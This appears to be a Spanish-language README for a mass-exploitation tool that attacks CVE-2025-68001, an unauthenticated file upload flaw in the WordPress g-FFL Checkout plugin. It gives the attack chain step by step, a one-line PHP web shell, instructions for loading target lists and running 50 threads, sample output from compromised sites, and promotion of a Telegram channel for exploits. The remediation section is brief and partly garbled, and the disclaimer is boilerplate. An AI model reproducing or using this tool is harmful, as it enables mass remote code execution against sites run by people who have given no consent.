
El plugin de WordPress g-FFL Checkout <= 2.1.0 es vulnerable a una Carga Arbitraria de Archivos de alta prioridad.
El plugin g-FFL Checkout de WordPress <= 2.1.0 es vulnerable a una Subida Arbitraria de Archivos de alta prioridad
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
📡 Mantente a la vanguardia. Únete a @KNxploited en Telegram — tu fuente exclusiva de los últimos CVEs, zero-days e investigación de exploits de vanguardia. Actualizado constantemente. No es para todos.
CVE-2025-68001 es una vulnerabilidad crítica de Subida Arbitraria de Archivos sin Autenticación descubierta en el plugin g-FFL Checkout de WordPress por garidium.
La vulnerabilidad permite a un atacante remoto no autenticado subir archivos arbitrarios — incluidos web shells — al servidor objetivo a través de la acción AJAX ffl_upload_document, lo que conduce a una Ejecución Remota de Código (RCE) completa.
El exploit sigue una cadena de ataque precisa de múltiples pasos:
1. GET /checkout
↓
Extract `checkout_nonce` from inline JavaScript data
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<extracted_nonce>
document_type=document
document=<shell.php disguised as image/png>
↓
Server stores the file without extension or MIME validation
3. Parse JSON response
↓
Extract uploaded file path / unique filename
4. Access uploaded shell via HTTP
↓
Remote Code Execution achieved ✔️
El plugin expone un endpoint AJAX ffl_upload_document que:
Instala todas las dependencias antes de ejecutar:
pip install requests rich
| Dependencia | Propósito |
|---|---|
requests | Peticiones HTTP y gestión de sesiones |
rich | Interfaz de terminal, barras de progreso, paneles |
threading | Procesamiento de objetivos multihilo |
Se requiere Python 3.8+.
CVE-2025-68001/
├── CVE-2025-68001.py # Main exploit script
├── shell.php # Web shell to upload (you provide this)
├── list.txt # Target URLs (one per line)
└── success_results.txt # Auto-generated results output
Crea un archivo list.txt con una URL de objetivo por línea:
https://target1.com
https://target2.com
http://target3.com/wordpress
El script antepone automáticamente
http://si no se proporciona un esquema.
Coloca tu web shell PHP en el mismo directorio. Ejemplo de shell mínima:
<?php system($_GET['cmd']); ?>
Guárdalo como shell.php (o cualquier otro nombre — se te pedirá que lo introduzcas).
python CVE-2025-68001.py
Se te pedirá de forma interactiva:
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
Los exploits exitosos se guardan automáticamente en success_results.txt:
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
Cada línea contiene:
| Indicación | Predeterminado | Descripción |
|---|---|---|
| Archivo de objetivos |
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
All targets processed ✔️. Results saved to: success_results.txt
La vulnerabilidad reside en el manejador AJAX del plugin, registrado sin comprobaciones de capacidades:
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
Si eres propietario de un sitio o desarrollador, toma las siguientes medidas de inmediato:
g-ffl-checkout a una versión parcheada (> 2.1.0) si está disponible.htaccess).php sospechososTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.
By using this script, you explicitly agree to the following:
• You have EXPLICIT written permission from the target system owner.
• You are operating in a controlled lab or authorized penetration testing engagement.
• You will NOT use this tool against any system you do not own or have legal
authorization to test.
• The author (Nxploited) holds ZERO liability for any damage, data loss,
legal consequences, or misuse resulting from this tool.
Unauthorized use of this tool against systems without permission is ILLEGAL
and may violate laws including but not limited to:
— Computer Fraud and Abuse Act (CFAA)
— EU Directive on Attacks Against Information Systems
— And equivalent laws in your jurisdiction.
USE RESPONSIBLY. HACK ETHICALLY.
| Alias | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Sigue a @KNxploited en Telegram para recibir los últimos avisos de vulnerabilidades, lanzamientos de exploits e investigación de seguridad — antes que nadie.
| Campo | Detalles |
|---|
| ID CVE | CVE-2025-68001 |
| Plugin | g-FFL Checkout (g-ffl-checkout) |
| Versiones Afectadas | n/a hasta <= 2.1.0 |
| Tipo de Vulnerabilidad | Subida de Archivos Sin Restricciones |
| Impacto | Ejecución Remota de Código (RCE) |
| Autenticación | No Requerida |
| Severidad CVSS | Crítica |
| Investigador | Nxploited |
list.txt| Archivo que contiene las URLs de los objetivos |
| Archivo shell | shell.php | Shell PHP a subir al objetivo |
| Número de hilos | 50 | Trabajadores concurrentes (máx.: 50) |